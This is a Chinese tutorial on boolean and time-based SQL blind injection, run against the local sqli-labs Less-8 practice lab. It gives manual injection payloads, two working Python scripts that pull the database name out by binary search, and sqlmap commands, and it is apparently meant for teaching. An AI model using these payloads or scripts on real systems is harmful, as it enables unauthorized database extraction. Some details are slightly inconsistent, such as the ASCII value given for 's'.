深入理解SQL盲注
前面和大家分享了SQL注入的介紹、聯(lián)合查詢和一些技巧、報(bào)錯(cuò)注入,那么本篇我們和大家繼續(xù)學(xué)習(xí)SQL注入的相關(guān)知識(shí)和實(shí)驗(yàn),本篇是SQL注入中的盲注,那么現(xiàn)在我們開始ヾ(?°∇°?)??
什么是盲注?
在現(xiàn)代的web中對(duì)輸入的內(nèi)容會(huì)做很嚴(yán)格的限制,并且在默認(rèn)情況下都是不會(huì)顯示錯(cuò)誤信息,因此前面學(xué)習(xí)的聯(lián)合查詢和報(bào)錯(cuò)注入都無(wú)法利用來(lái)注入了,因此我們需要使用"盲注"來(lái)進(jìn)行SQL注入,所謂的盲注就是在服務(wù)器沒(méi)有錯(cuò)誤信息會(huì)顯示完成注入攻擊,但是服務(wù)器不會(huì)顯示錯(cuò)誤信息,我們就需要找到一個(gè)方法來(lái)驗(yàn)證SQL語(yǔ)句是否被執(zhí)行
SQL盲注中常用的幾個(gè)函數(shù):
- ascii(str): str是一個(gè)字符串參數(shù),返回值為其最左側(cè)字符的ascii碼。通過(guò)它,我們才能確定特定的字符。
- substr(str,start,len): 這個(gè)函數(shù)是取str中從下標(biāo)start開始的,長(zhǎng)度為len的字符串。通常在盲注中用于取出單個(gè)字符,交給ascii函數(shù)來(lái)確定其具體的值。
- length(str): 這個(gè)函數(shù)是用來(lái)獲取str的長(zhǎng)度的。這樣我們才能知道需要通過(guò)substr取到哪個(gè)下標(biāo)。
- count([column]): 這個(gè)函數(shù)是用來(lái)統(tǒng)計(jì)記錄的數(shù)量的,其在盲注中,主要用于判斷符合條件的記錄的數(shù)量,并逐個(gè)破解。
- if(condition,a,b): 當(dāng)condition為true的時(shí)候,返回a,當(dāng)condition為false的時(shí)候,返回b。
布爾盲注
這種類型的盲注依賴于頁(yè)面返回結(jié)果的單一狀態(tài),通常只有“正常”或“錯(cuò)誤”。攻擊者會(huì)構(gòu)造一個(gè)包含布爾表達(dá)式(如`IF`條件判斷)的SQL查詢,然后檢查頁(yè)面是否正確地返回了正確的結(jié)果。如果正確,那么可能意味著查詢成功訪問(wèn)到了數(shù)據(jù)庫(kù)中的數(shù)據(jù)。
最常見(jiàn)的盲注的驗(yàn)證方法是,構(gòu)造簡(jiǎn)單的條件語(yǔ)句,然后根據(jù)返回的頁(yè)面是否發(fā)生變化,來(lái)判斷SQL語(yǔ)句是否被執(zhí)行,我們可以利用sqli-labs靶場(chǎng)中的第8關(guān)來(lái)演示一下:
這里傳入的是and 1=1 是一個(gè)恒真的值,因此頁(yè)面是下面這樣的:
然后再傳入一個(gè)and 1=2 是一個(gè)恒假的值 ,因此頁(yè)面是下面這樣的
可以看到,這里就是兩個(gè)完全不同的兩個(gè)頁(yè)面,也就說(shuō)明是存在SQL盲注的漏洞點(diǎn)的,這種利用注入 的方式也就是布爾盲注
下面我們就可以使用下面這三種方式來(lái)進(jìn)行布爾盲注
手工注入
利用上面的那些函數(shù)我們可以通過(guò)不斷的變換范圍來(lái)觀察頁(yè)面的響應(yīng)來(lái)不斷判斷,直到判斷到最后可以確定到一個(gè)值,比如我們可以先使用 length函數(shù) + 二分法來(lái)嘗試一下:
?id=1' and (select length(database())>1) and 1=1 --+ true ?id=1' and (select length(database())>10) and 1=1 --+ flase ?id=1' and (select length(database())>5) and 1=1 --+ true ?id=1' and (select length(database())>6) and 1=1 --+ true ?id=1' and (select length(database())>8) and 1=1 --+ flase
通過(guò)頁(yè)面的不同響應(yīng)頁(yè)面來(lái)判斷數(shù)據(jù)庫(kù)的長(zhǎng)度是否是我們所指定的范圍,最終可以得到數(shù)據(jù)庫(kù)的名稱的長(zhǎng)度為7,得到了數(shù)據(jù)庫(kù)的長(zhǎng)度后,我們就可以再利用ascii函數(shù)+substr函數(shù)來(lái)修改字符串的范圍,最終判斷數(shù)據(jù)庫(kù)的各個(gè)字符的ascii的值,最終就可以得到完整的數(shù)據(jù)庫(kù)名稱,比如:
?id=1' and ((select ascii(substr(database(),1,1)))>100) and 1=1 --+ true ?id=1' and ((select ascii(substr(database(),1,1)))>200) and 1=1 --+ flase ... ?id=1' and ((select ascii(substr(database(),1,1)))>114) and 1=1 --+ true ?id=1' and ((select ascii(substr(database(),1,1)))>116) and 1=1 --+ false
根據(jù)不斷的變換范圍,最后得到了第一個(gè)字母的ascii碼大于113但是不大于115,因此,它的ascii碼就是114,對(duì)照ASCII碼表,得到第一個(gè)字母為‘s’。同樣的方法,我們可以變化substr()里面的第二個(gè)參數(shù)分別為2,3,4,5,6,7,最后可以獲得接下來(lái)的其他七個(gè)字母,最終得到“security”。
這里就成功的注入出了數(shù)據(jù)庫(kù)名稱,然后通過(guò)這個(gè)方法,我們可以首先通過(guò)information_schema庫(kù)中的tables表查看我們注入出的數(shù)據(jù)庫(kù)下的所有的表的數(shù)量,然后我們按照l(shuí)imit的方法選取某個(gè)表,通過(guò)length得到它的名字的長(zhǎng)度,隨后就可以得到它的完整表名,同理通過(guò)columns表獲得某個(gè)表下的所有字段數(shù)量,并且獲得每個(gè)字段的名稱長(zhǎng)度和具體名稱,最后就是查出指定表下的記錄數(shù)量,并且根據(jù)字段去獲取某條記錄的某個(gè)字段值的長(zhǎng)度,隨后就是是獲得該值的內(nèi)容。
但是這樣的手工方法會(huì)非常的費(fèi)時(shí)費(fèi)力,我們可以使用python寫一個(gè)二分法查找的布爾盲注腳本來(lái)方便使用:
使用python腳本
注入出數(shù)據(jù)庫(kù)名
腳本:
import requests url = "http://127.0.0.1/sqli-labs/Less-8/" def inject_database(url): name = '' for i in range(1, 100): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid) params = {"id": payload} r = requests.get(url, params=params) if "You are in..........." in r.text: low = mid + 1 else: high = mid mid = (low + high) // 2 if mid == 32: break name = name + chr(mid) print(name) inject_database(url)
后面的表名,列名,數(shù)據(jù),都可以使用類似的腳本注入出來(lái),這里就不演示了
使用sqlmap
使用sqlmap進(jìn)行時(shí)間盲注就非常簡(jiǎn)單了,直接將url輸入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
時(shí)間盲注
這類盲注涉及使用具有延時(shí)功能的函數(shù),如`sleep()`,來(lái)探測(cè)服務(wù)器何時(shí)處理完請(qǐng)求。攻擊者可能會(huì)設(shè)置一個(gè)延時(shí),觀察服務(wù)器是否按照預(yù)期的時(shí)間間隔回復(fù)。如果服務(wù)器超時(shí)未響應(yīng),這可能表明存在漏洞,并且可以進(jìn)一步嘗試其他查詢。
手工注入
因?yàn)轫?yè)面不會(huì)回顯任何正確或者錯(cuò)誤的信息,所以我們通過(guò)時(shí)間來(lái)判斷是否存在時(shí)間盲注根據(jù)我們的輸入,來(lái)延時(shí)請(qǐng)求數(shù)據(jù),觀察請(qǐng)求時(shí)間是否存在延長(zhǎng),如果存在就是存在時(shí)間盲注,這里會(huì)使用if和sleep函數(shù)來(lái)進(jìn)行判斷
if的語(yǔ)法三元運(yùn)算符函數(shù)
語(yǔ)法:IF(condition, value_if_true, value_if_false)
condition是一個(gè)條件表達(dá)式,如果條件成立,則返回value_if_true,否則返回value_if_false。
那么可以利用這一點(diǎn)來(lái)進(jìn)行時(shí)間盲注
?id=1' and if(length(database())=1,sleep(5),1)--+ 延時(shí) ?id=1' and if(length(database())=10,sleep(5),1)--+ 正常 ?id=1' and if(length(database())=7,sleep(5),1)--+ 延時(shí) ?id=1' and if(length(database())=8,sleep(5),1)--+ 延正常
可以看到這里可以注入出數(shù)據(jù)庫(kù)的長(zhǎng)度是7,然后就是使用ascii+sleep來(lái)注入出數(shù)據(jù)庫(kù)的名稱
?id=1'and if(ascii(substr((select database()),1,1))=100,sleep(5),1)--+ 延時(shí) ?id=1'and if(ascii(substr((select database()),1,1))=200,sleep(5),1)--+ 正常 ... ?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 延時(shí) ?id=1'and if(ascii(substr((select database()),1,1))=116,sleep(5),1)--+ 正常 ?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+ 延時(shí)
可以看到注入出了數(shù)據(jù)庫(kù)的第一個(gè)字符是ASCII的值為115,對(duì)應(yīng)的是‘s’,然后就不斷變換,最終得到數(shù)據(jù)庫(kù)名為:security,那么現(xiàn)在數(shù)據(jù)庫(kù)已經(jīng)知道了,后面的表名、列名,數(shù)據(jù)都可以使用同樣的方法注入出來(lái)了
但是還是一樣這樣的手工方法會(huì)非常的費(fèi)時(shí)費(fèi)力,我們可以使用python寫一個(gè)二分法查找的時(shí)間盲注腳本來(lái)方便注入:
使用python腳本
注入出數(shù)據(jù)庫(kù)名
腳本:
import requests import time url = "http://127.0.0.1/sqli-labs/Less-8/" def inject_database(url): name = '' for i in range(1, 100): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "1' and (if(ascii(substr((select(database())),%d,1))>%d,sleep(1),0))and('1')=('1" % (i, mid) params = {"id": payload} start_time = time.time() # 注入前的系統(tǒng)時(shí)間 r = requests.get(url, params=params) end_time = time.time() # 注入后的時(shí)間 if end_time - start_time > 1: low = mid + 1 else: high = mid mid = (low + high) // 2 if mid == 32: break name = name + chr(mid) print(name) inject_database(url)
后面的表名,列名,數(shù)據(jù),都可以使用類似的腳本注入出來(lái),這里就不演示了
使用sqlmap
使用sqlmap進(jìn)行時(shí)間盲注就非常簡(jiǎn)單了,直接將url輸入到sqlmap中即可
sqlmap.py -u sqlmap -u http://127.0.0.1/sqli-labs/Less-8/?id=1
到此,SQL盲注的布爾盲注和時(shí)間盲注就全部演示完畢了,更多相關(guān)SQL盲注內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
SQL語(yǔ)句實(shí)現(xiàn)SQL Server 2000及Sql Server 2005日志收縮(批量)
SQL語(yǔ)句實(shí)現(xiàn)SQL Server 2000及Sql Server 2005日志收縮(批量)2008-08-08SQL 超時(shí)解決方案 有時(shí)并不是設(shè)置問(wèn)題
SQL 超時(shí)解決方案 有時(shí)并不是設(shè)置問(wèn)題,大家可以參考下。2010-05-05sql server中的decimal或者numeric的精度問(wèn)題
在sql server中定義列的數(shù)據(jù)類型decimal時(shí)需要制定其精度和小數(shù)位數(shù)。2009-05-05Windows系統(tǒng)徹底卸載SQL?Server通用方法(推薦!)
卸載SQL是一件很麻煩的事,只要是重裝過(guò)SQL的人都知道,下面這篇文章主要給大家介紹了關(guān)于Windows系統(tǒng)徹底卸載SQL?Server通用方法的相關(guān)資料,文中通過(guò)圖文介紹的非常詳細(xì),需要的朋友可以參考下2023-01-01SQLServer 表值構(gòu)造函數(shù)(Transact-SQL)的使用
表值構(gòu)造函數(shù)是一種用于在單個(gè)語(yǔ)句中插入多行數(shù)據(jù)到表中的語(yǔ)法,本文主要介紹了SQLServer 表值構(gòu)造函數(shù)(Transact-SQL)的使用,具有一定的參考價(jià)值,感興趣的可以了解一下2024-08-08SQLSERVER調(diào)用C#的代碼實(shí)現(xiàn)
本文主要介紹了SQLSERVER調(diào)用C#的代碼實(shí)現(xiàn),文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧2023-01-01SQL Server數(shù)據(jù)庫(kù)中設(shè)置索引的策略分享
在 SQL Server 中,索引通過(guò)加快數(shù)據(jù)檢索速度在優(yōu)化查詢性能方面發(fā)揮著關(guān)鍵作用,在數(shù)據(jù)庫(kù)中設(shè)置索引的策略受數(shù)據(jù)庫(kù)結(jié)構(gòu)、表的大小和將要運(yùn)行的查詢類型的影響,以下是如何將索引應(yīng)用于這些不同類型的表的詳細(xì)分類,需要的朋友可以參考下2024-12-12